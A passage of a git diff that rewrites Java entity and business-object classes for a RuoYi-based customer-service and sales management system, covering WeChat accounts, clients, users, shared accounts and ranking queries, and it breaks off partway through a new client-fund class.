- /** - * 投入使用时间 - */ - @JsonFormat(pattern = "yyyy-MM-dd", timezone = "GMT+8") - private Date userTime; - - /** - * 实名制人 - */ - private String name; - - /** - * 身份证号 - */ - private String cardId; - - /** - * 绑定银行 - */ - private String bank; - - /** - * 绑定银行卡号 - */ - private String number; - - /** - * 初始好友数 - */ - private Long num; - - /** - * 总好友数 - */ - private Long allnum; - - /** - * 当前客服时间 - */ - private Date nowTime; - - /** - * 创建人 - */ - private Long addUser; - - /** - * 创建人 - */ - private String addname; - - /** - * 是否删除(1=未删除,2=已删除) - */ - private Integer isDel; - - /** - * 创建时间 - */ - private Date addTime; - - /** - * 当前客服总业绩 - */ - private BigDecimal nowPrice; - - /** - * 成交客户数 - */ - private Long dealNum; - - /** - * 成交业绩总额 - */ - private BigDecimal totalSum; - - /** - * 成交单数 - */ - private Long dealOrderNum; - - /** - * 成交比例 - */ - private String dealRatio; - - /** - * 月均业绩 - */ - private BigDecimal monthAmount; - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.fasterxml.jackson.annotation.JsonFormat; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; +import java.math.BigDecimal; +import java.util.Date; + +/** + * 基本信息对象 tp_wechat + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_wechat") +public class TpWechat { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 唯一编号 + */ + private String code; + + /** + * 微信昵称 + */ + private String nikename; + + /** + * 使用人 + */ + private Long uid; + + /** + * 使用人 + */ + private String user; + + /** + * 手机号 + */ + private String phone; + + /** + * 投入使用时间 + */ + @JsonFormat(pattern = "yyyy-MM-dd", timezone = "GMT+8") + private Date userTime; + + /** + * 实名制人 + */ + private String name; + + /** + * 身份证号 + */ + private String cardId; + + /** + * 绑定银行 + */ + private String bank; + + /** + * 绑定银行卡号 + */ + private String number; + + /** + * 初始好友数 + */ + private Long num; + + /** + * 总好友数 + */ + private Long allnum; + + /** + * 当前客服时间 + */ + private Date nowTime; + + /** + * 创建人 + */ + private Long addUser; + + /** + * 创建人 + */ + private String addname; + + /** + * 是否删除(1=未删除,2=已删除) + */ + private Integer isDel; + + /** + * 创建时间 + */ + private Date addTime; + + /** + * 当前客服总业绩 + */ + private BigDecimal nowPrice; + + /** + * 成交客户数 + */ + private Long dealNum; + + /** + * 成交业绩总额 + */ + private BigDecimal totalSum; + + /** + * 成交单数 + */ + private Long dealOrderNum; + + /** + * 成交比例 + */ + private String dealRatio; + + /** + * 月均业绩 + */ + private BigDecimal monthAmount; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpWechatNum.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpWechatNum.java index 201664a..228d2a2 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpWechatNum.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpWechatNum.java @@ -1,71 +1,71 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; -import java.util.Date; - -/** - * 更新好友数记录对象 tp_wechat_num - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_wechat_num") -public class TpWechatNum { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 所属微信 - */ - private Long wid; - - /** - * 数量 - */ - private Long num; - - /** - * 备注 - */ - private String remark; - - /** - * 创建人 - */ - private Long addUser; - - /** - * 创建人 - */ - private String addname; - - /** - * 创建时间 - */ - private Date addTime; - - /** - * 好友数量 - */ - private Long total; - - /** - * 初始值 - */ - private Long initial; - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; +import java.util.Date; + +/** + * 更新好友数记录对象 tp_wechat_num + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_wechat_num") +public class TpWechatNum { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 所属微信 + */ + private Long wid; + + /** + * 数量 + */ + private Long num; + + /** + * 备注 + */ + private String remark; + + /** + * 创建人 + */ + private Long addUser; + + /** + * 创建人 + */ + private String addname; + + /** + * 创建时间 + */ + private Date addTime; + + /** + * 好友数量 + */ + private Long total; + + /** + * 初始值 + */ + private Long initial; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpWechatUser.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpWechatUser.java index 3ea5d9b..dda0935 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpWechatUser.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpWechatUser.java @@ -1,78 +1,78 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; -import java.math.BigDecimal; -import java.util.Date; - -/** - * 微信使用人修改历史对象 tp_wechat_user - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_wechat_user") -public class TpWechatUser { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 所属微信 - */ - private Long wid; - - /** - * 使用人 - */ - private Long uid; - - /** - * 使用人 - */ - private String user; - - /** - * 当前客服时间 - */ - private Date nowTime; - - /** - * 当前客服总业绩 - */ - private BigDecimal nowPrice; - - /** - * 结束时间 - */ - private Date endTime; - - /** - * 创建人 - */ - private Long addUser; - - /** - * 创建人 - */ - private String addname; - - /** - * 创建时间 - */ - private Date addTime; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; +import java.math.BigDecimal; +import java.util.Date; + +/** + * 微信使用人修改历史对象 tp_wechat_user + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_wechat_user") +public class TpWechatUser { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 所属微信 + */ + private Long wid; + + /** + * 使用人 + */ + private Long uid; + + /** + * 使用人 + */ + private String user; + + /** + * 当前客服时间 + */ + private Date nowTime; + + /** + * 当前客服总业绩 + */ + private BigDecimal nowPrice; + + /** + * 结束时间 + */ + private Date endTime; + + /** + * 创建人 + */ + private Long addUser; + + /** + * 创建人 + */ + private String addname; + + /** + * 创建时间 + */ + private Date addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpWorks.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpWorks.java index 2e5ca24..9aa3ffd 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpWorks.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpWorks.java @@ -1,41 +1,41 @@ -package org.dromara.work.domain; - -import org.dromara.common.mybatis.core.domain.BaseEntity; -import com.baomidou.mybatisplus.annotation.*; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; - -/** - * 作品收藏对象 tp_works - * - * @author Maosw - * @date 2025-07-23 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_works") -public class TpWorks { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * id - */ - @TableId(value = "id") - private Long id; - - /** - * 用户ID - */ - private Long userId; - - /** - * 作品ID - */ - private Long pictureId; - - -} +package org.dromara.work.domain; + +import org.dromara.common.mybatis.core.domain.BaseEntity; +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; + +/** + * 作品收藏对象 tp_works + * + * @author Maosw + * @date 2025-07-23 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_works") +public class TpWorks { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * id + */ + @TableId(value = "id") + private Long id; + + /** + * 用户ID + */ + private Long userId; + + /** + * 作品ID + */ + private Long pictureId; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpYear.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpYear.java index 6ffa2ed..f7d36f0 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpYear.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpYear.java @@ -1,61 +1,61 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; -import java.util.Date; - -/** - * 年目标对象 tp_year - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_year") -public class TpYear { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 人员 - */ - private Long sid; - - /** - * 年 - */ - private String year; - - /** - * 个人目标 - */ - private Long geren; - - /** - * 公司目标 - */ - private Long gongsi; - - /** - * 创建时间 - */ - private Date addTime; - - private Long deptId; - - private String ancestors; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; +import java.util.Date; + +/** + * 年目标对象 tp_year + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_year") +public class TpYear { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 人员 + */ + private Long sid; + + /** + * 年 + */ + private String year; + + /** + * 个人目标 + */ + private Long geren; + + /** + * 公司目标 + */ + private Long gongsi; + + /** + * 创建时间 + */ + private Date addTime; + + private Long deptId; + + private String ancestors; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TzSharedAccount.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TzSharedAccount.java index 7eda8b1..30c6757 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TzSharedAccount.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TzSharedAccount.java @@ -1,98 +1,98 @@ -package org.dromara.work.domain; - -import org.dromara.common.mybatis.core.domain.BaseEntity; -import com.baomidou.mybatisplus.annotation.*; -import lombok.Data; -import lombok.EqualsAndHashCode; -import java.util.Date; -import com.fasterxml.jackson.annotation.JsonFormat; - -import java.io.Serial; - -/** - * 共享账号对象 tz_shared_account - * - * @author Maosw - * @date 2025-05-06 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("tz_shared_account") -public class TzSharedAccount extends BaseEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键ID - */ - @TableId(value = "id") - private Long id; - - /** - * 使用者ID - */ - private Long userId; - - /** - * 使用者姓名 - */ - private String userName; - - /** - * 共享账号编号 - */ - private String code; - - /** - * 登录账号 - */ - private String loginName; - - /** - * 登录密码 - */ - private String loginPwd; - - /** - * 状态:0-未使用,1-使用中 - */ - private Integer status; - - /** - * 开始使用时间 - */ - private Date startTime; - - /** - * 预期结束时间 - */ - private Date endTime; - - /** - * 绑定人姓名 - */ - private String bindName; - - /** - * 绑定人手机号码 - */ - private String bindPhone; - - /** - * 备注 - */ - private String remark; - - /** - * 会员套餐 - */ - private String thali; - - /** - * 套餐到期时间 - */ - private Date thaliTime; - - -} +package org.dromara.work.domain; + +import org.dromara.common.mybatis.core.domain.BaseEntity; +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; + +import java.io.Serial; + +/** + * 共享账号对象 tz_shared_account + * + * @author Maosw + * @date 2025-05-06 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("tz_shared_account") +public class TzSharedAccount extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键ID + */ + @TableId(value = "id") + private Long id; + + /** + * 使用者ID + */ + private Long userId; + + /** + * 使用者姓名 + */ + private String userName; + + /** + * 共享账号编号 + */ + private String code; + + /** + * 登录账号 + */ + private String loginName; + + /** + * 登录密码 + */ + private String loginPwd; + + /** + * 状态:0-未使用,1-使用中 + */ + private Integer status; + + /** + * 开始使用时间 + */ + private Date startTime; + + /** + * 预期结束时间 + */ + private Date endTime; + + /** + * 绑定人姓名 + */ + private String bindName; + + /** + * 绑定人手机号码 + */ + private String bindPhone; + + /** + * 备注 + */ + private String remark; + + /** + * 会员套餐 + */ + private String thali; + + /** + * 套餐到期时间 + */ + private Date thaliTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TzUser.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TzUser.java index b87144f..44a1240 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TzUser.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TzUser.java @@ -1,201 +1,201 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; -import java.math.BigDecimal; -import java.util.Date; - -/** - * 用户对象 tz_user - * - * @author Maosw - * @date 2024-12-09 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tz_user") -public class TzUser { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * ID - */ - @TableId(value = "user_id") - private Long userId; - - /** - * 用户昵称 - */ - private String nickName; - - /** - * 真实姓名 - */ - private String realName; - - /** - * 用户邮箱 - */ - private String userMail; - - /** - * 登录密码 - */ - private String loginPassword; - - /** - * 支付密码 - */ - private String payPassword; - - /** - * 手机号码 - */ - private String userMobile; - - /** - * 身份证号码 - */ - private String idCard; - - /** - * 身份证正面 - */ - private String frontCard; - - /** - * 身份证反面 - */ - private String reverseCard; - - /** - * 余额 - */ - private BigDecimal balance; - - /** - * 抵扣金 - */ - private BigDecimal deductionFee; - - /** - * 修改时间 - */ - private Date modifyTime; - - /** - * 注册时间 - */ - private Date userRegtime; - - /** - * 注册IP - */ - private String userRegip; - - /** - * 最后登录时间 - */ - private Date userLasttime; - - /** - * 最后登录IP - */ - private String userLastip; - - /** - * 备注 - */ - private String userMemo; - - /** - * M(男) or F(女) - */ - private String sex; - - /** - * 例如:2009-11-27 - */ - private String birthDate; - - /** - * 头像图片路径 - */ - private String pic; - - /** - * 状态 1 正常 0 无效 - */ - private Integer status; - - /** - * 用户积分 - */ - private Long score; - - /** - * 微信openId - */ - private String openId; - - /** - * 是否设计师 1:是 0:否 - */ - private Integer isDesigner; - - /** - * 设计师认证信息 - */ - private String sjsJson; - - /** - * 设计师审核状态 1:未认证 2:待审核 3:已通过 4:已拒绝 - */ - private Integer sjsFlag; - - /** - * 实名审核状态 1:未认证 2:待审核 3:已通过 4:已拒绝 - */ - private Integer examineFlag; - - /** - * 价格开关是否打开 1:打开 0:关闭 - */ - private Integer priceFlag; - - /** - * 是否是会员 1:是 0:否 - */ - private Integer isMember; - - /** - * 会员有效期结束 - */ - private Date validTo; - - /** - * 调价比例 - */ - private String ratio; - - /** - * 拉卡拉用户ID - */ - private String custId; - - /** - * 证件起止日期 - */ - private String certExpirationDate; - - /** - * 创建时间 - */ - private Date createTime; -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; +import java.math.BigDecimal; +import java.util.Date; + +/** + * 用户对象 tz_user + * + * @author Maosw + * @date 2024-12-09 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tz_user") +public class TzUser { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * ID + */ + @TableId(value = "user_id") + private Long userId; + + /** + * 用户昵称 + */ + private String nickName; + + /** + * 真实姓名 + */ + private String realName; + + /** + * 用户邮箱 + */ + private String userMail; + + /** + * 登录密码 + */ + private String loginPassword; + + /** + * 支付密码 + */ + private String payPassword; + + /** + * 手机号码 + */ + private String userMobile; + + /** + * 身份证号码 + */ + private String idCard; + + /** + * 身份证正面 + */ + private String frontCard; + + /** + * 身份证反面 + */ + private String reverseCard; + + /** + * 余额 + */ + private BigDecimal balance; + + /** + * 抵扣金 + */ + private BigDecimal deductionFee; + + /** + * 修改时间 + */ + private Date modifyTime; + + /** + * 注册时间 + */ + private Date userRegtime; + + /** + * 注册IP + */ + private String userRegip; + + /** + * 最后登录时间 + */ + private Date userLasttime; + + /** + * 最后登录IP + */ + private String userLastip; + + /** + * 备注 + */ + private String userMemo; + + /** + * M(男) or F(女) + */ + private String sex; + + /** + * 例如:2009-11-27 + */ + private String birthDate; + + /** + * 头像图片路径 + */ + private String pic; + + /** + * 状态 1 正常 0 无效 + */ + private Integer status; + + /** + * 用户积分 + */ + private Long score; + + /** + * 微信openId + */ + private String openId; + + /** + * 是否设计师 1:是 0:否 + */ + private Integer isDesigner; + + /** + * 设计师认证信息 + */ + private String sjsJson; + + /** + * 设计师审核状态 1:未认证 2:待审核 3:已通过 4:已拒绝 + */ + private Integer sjsFlag; + + /** + * 实名审核状态 1:未认证 2:待审核 3:已通过 4:已拒绝 + */ + private Integer examineFlag; + + /** + * 价格开关是否打开 1:打开 0:关闭 + */ + private Integer priceFlag; + + /** + * 是否是会员 1:是 0:否 + */ + private Integer isMember; + + /** + * 会员有效期结束 + */ + private Date validTo; + + /** + * 调价比例 + */ + private String ratio; + + /** + * 拉卡拉用户ID + */ + private String custId; + + /** + * 证件起止日期 + */ + private String certExpirationDate; + + /** + * 创建时间 + */ + private Date createTime; +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/OrderRankingBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/OrderRankingBo.java index 67b82bf..bfc5aee 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/OrderRankingBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/OrderRankingBo.java @@ -1,71 +1,71 @@ -package org.dromara.work.domain.bo; - - -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.util.List; - -/** - * 排行榜查询对象 - */ -@Data -@EqualsAndHashCode(callSuper = false) -public class OrderRankingBo { - - /** - *用户编号 - */ - private String userName; - - /** - * 用户姓名 - */ - private String realName; - - /** - * 部门ID - */ - private Long deptId; - - /** - * 部门ID集合 - */ - private List deptIds; - - /** - * 年份(格式:2023) 按照月份统计时才传 - */ - private String year; - - /** - * 月份(格式:2023-03) 按天统计时才传 - */ - private String month; - - /** - * 开始时间(不要传) - */ - private String startTime; - - /** - * 结束时间(不要传) - */ - private String endTime; - - /** - * 类型 1:客服列表 2:技术列表 - */ - private Integer type; - - /** - * 1:数量 2:总业绩 3:已到款 4:未到款 5:目标比例 6:死单率 - */ - private Integer sort; - - /** - * isAsc:一个布尔值,表示排序方向。true 表示升序(ASC),false 表示降序(DESC) - */ - private Boolean isAsc; - -} +package org.dromara.work.domain.bo; + + +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.util.List; + +/** + * 排行榜查询对象 + */ +@Data +@EqualsAndHashCode(callSuper = false) +public class OrderRankingBo { + + /** + *用户编号 + */ + private String userName; + + /** + * 用户姓名 + */ + private String realName; + + /** + * 部门ID + */ + private Long deptId; + + /** + * 部门ID集合 + */ + private List deptIds; + + /** + * 年份(格式:2023) 按照月份统计时才传 + */ + private String year; + + /** + * 月份(格式:2023-03) 按天统计时才传 + */ + private String month; + + /** + * 开始时间(不要传) + */ + private String startTime; + + /** + * 结束时间(不要传) + */ + private String endTime; + + /** + * 类型 1:客服列表 2:技术列表 + */ + private Integer type; + + /** + * 1:数量 2:总业绩 3:已到款 4:未到款 5:目标比例 6:死单率 + */ + private Integer sort; + + /** + * isAsc:一个布尔值,表示排序方向。true 表示升序(ASC),false 表示降序(DESC) + */ + private Boolean isAsc; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpChangePriceBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpChangePriceBo.java index 0ca1e86..387e3ac 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpChangePriceBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpChangePriceBo.java @@ -1,55 +1,55 @@ -package org.dromara.work.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.work.domain.TpChangePrice; - -/** - * 改价配置业务对象 tp_change_price - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TpChangePrice.class, reverseConvertGenerate = false) -public class TpChangePriceBo extends BaseEntity { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 包含人员 - */ - @NotBlank(message = "包含人员不能为空", groups = { AddGroup.class, EditGroup.class }) - private String sid; - - /** - * 改价金额 - */ - @NotNull(message = "改价金额不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long price; - - /** - * 状态(1=开启,2=关闭) - */ - @NotNull(message = "状态(1=开启,2=关闭)不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long state; - - /** - * 最后一次修改时间 - */ - @NotNull(message = "最后一次修改时间不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long addTime; - - -} +package org.dromara.work.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.work.domain.TpChangePrice; + +/** + * 改价配置业务对象 tp_change_price + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpChangePrice.class, reverseConvertGenerate = false) +public class TpChangePriceBo extends BaseEntity { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 包含人员 + */ + @NotBlank(message = "包含人员不能为空", groups = { AddGroup.class, EditGroup.class }) + private String sid; + + /** + * 改价金额 + */ + @NotNull(message = "改价金额不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long price; + + /** + * 状态(1=开启,2=关闭) + */ + @NotNull(message = "状态(1=开启,2=关闭)不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long state; + + /** + * 最后一次修改时间 + */ + @NotNull(message = "最后一次修改时间不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpClientBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpClientBo.java index c9b4077..9a998b3 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpClientBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpClientBo.java @@ -1,143 +1,143 @@ -package org.dromara.work.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.work.domain.TpClient; - -import java.util.Date; -import java.util.List; - -/** - * 客户业务对象 tp_client - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TpClient.class, reverseConvertGenerate = false) -public class TpClientBo extends BaseEntity { - - /** - * id - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 所属客服 - */ - private Long sid; - - /** - * 所属用户 - */ - private Long uid; - - /** - * 客户编号 - */ - private String code; - - /** - * 客服编号 - */ - private String sname; - - /** - * 客户姓名 - */ - private String name; - - /** - * 电话号码 - */ - private String phone; - - /** - * 性别 - */ - private String sex; - - /** - * 客户类型 - */ - private Long type; - - /** - * 主营业务类型 - */ - private Long ywtype; - - /** - * 状态(1=正常,2=禁用) - */ - private Long state; - - /** - * 备注 - */ - private String remark; - - /** - * 录入时间 - */ - private Date addTime; - - /** - * 是否删除(1=未删除,2=已删除) - */ - private Integer isDel; - - /** - * 操作人 - */ - private String addUser; - - /** - * 会员等级 - */ - private Long vip; - - /** - * 改图会员 - */ - private Long gtVip; - - /** - * 健康状态 1:健康 2:流失中 3:已流失 - */ - private Integer health; - - /** - * 多客服 1:多客服 2:多客服有余额 - */ - private Integer multi; - - /** - * 省 - */ - private String province; - - /** - * 市 - */ - private String city; - - /** - * 地区 - */ - private String area; - - /** - * 客户ID集合 - */ - private List ids; - -} +package org.dromara.work.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.work.domain.TpClient; + +import java.util.Date; +import java.util.List; + +/** + * 客户业务对象 tp_client + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpClient.class, reverseConvertGenerate = false) +public class TpClientBo extends BaseEntity { + + /** + * id + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 所属客服 + */ + private Long sid; + + /** + * 所属用户 + */ + private Long uid; + + /** + * 客户编号 + */ + private String code; + + /** + * 客服编号 + */ + private String sname; + + /** + * 客户姓名 + */ + private String name; + + /** + * 电话号码 + */ + private String phone; + + /** + * 性别 + */ + private String sex; + + /** + * 客户类型 + */ + private Long type; + + /** + * 主营业务类型 + */ + private Long ywtype; + + /** + * 状态(1=正常,2=禁用) + */ + private Long state; + + /** + * 备注 + */ + private String remark; + + /** + * 录入时间 + */ + private Date addTime; + + /** + * 是否删除(1=未删除,2=已删除) + */ + private Integer isDel; + + /** + * 操作人 + */ + private String addUser; + + /** + * 会员等级 + */ + private Long vip; + + /** + * 改图会员 + */ + private Long gtVip; + + /** + * 健康状态 1:健康 2:流失中 3:已流失 + */ + private Integer health; + + /** + * 多客服 1:多客服 2:多客服有余额 + */ + private Integer multi; + + /** + * 省 + */ + private String province; + + /** + * 市 + */ + private String city; + + /** + * 地区 + */ + private String area; + + /** + * 客户ID集合 + */ + private List ids; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpClientFundBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpClientFundBo.java new file mode 100644 index 0000000..da4b631 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpClientFundBo.java @@ -0,0 +1,85 @@ +package org.dromara.work.domain.bo; + +import org.dromara.work.domain.TpClientFund; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import lombok.EqualsAndHashCode; +import jakarta.validation.constraints.*; +import java.math.BigDecimal; + +/** + * 客户资金记录业务对象 tp_client_fund + * + * @author Maosw + * @date 2026-01-16 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpClientFund.class, reverseConvertGenerate = false) +public class TpClientFundBo extends BaseEntity { + + /** + * 主键 + */ + @NotNull(message = "主键不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 客户ID + */ + private Long kId; + + /** + * 客服客户ID + */ + private Long skId; + + /** + * 业务类型:1领款入账 2订单消费 3订单回退 4领款退回 + */ + @NotNull(message = "业务类型:1领款入账 2订单消费 3订单回退 4领款退回不能为空", groups = { AddGroup.class, EditGroup.class }) + private Integer bizType; + + /** + * 变动金额,正负数 + */ + @NotNull(message = "变动金额,正负数不能为空", groups = { AddGroup.class, EditGroup.class }) + private BigDecimal changeAmount; + + /** + * 变动前余额 + */ + @NotNull(message = "变动前余额不能为空", groups = { AddGroup.class, EditGroup.class }) + private BigDecimal 